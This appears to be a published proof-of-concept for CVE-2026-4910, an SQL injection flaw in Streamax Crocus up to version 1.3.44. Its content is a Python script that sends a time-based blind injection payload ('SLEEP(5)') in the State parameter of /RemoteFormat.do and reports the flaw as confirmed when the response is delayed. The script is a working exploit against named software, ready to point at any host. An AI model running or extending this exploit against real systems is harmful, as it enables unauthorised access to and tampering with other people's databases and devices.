CVE-2026-4910 Streamax Crocus SQL注入漏洞

# PoC for CVE-2026-4910 # Target: Streamax Crocus <= 1.3.44 # Endpoint: /RemoteFormat.do # Vulnerable Parameter: State import requests def check_sql_injection(target_url): # Construct the malicious payload for time-based blind SQL injection # The payload attempts to cause a delay of 5 seconds if the injection is successful payload = "1' AND SLEEP(5)-- -" # Data to be sent in the POST request data = { "State": payload } try: print(f"[+] Sending request to {target_url}/RemoteFormat.do...") response = requests.post(f"{target_url}/RemoteFormat.do", data=data, timeout=10) # Check if the response time indicates successful injection (approximate) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application responded with a delay.") print(f"[+] Response Status: {response.status_code}") else: print("[-] Vulnerability not detected or payload failed.") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target IP or domain target = "http://192.168.1.100" check_sql_injection(target)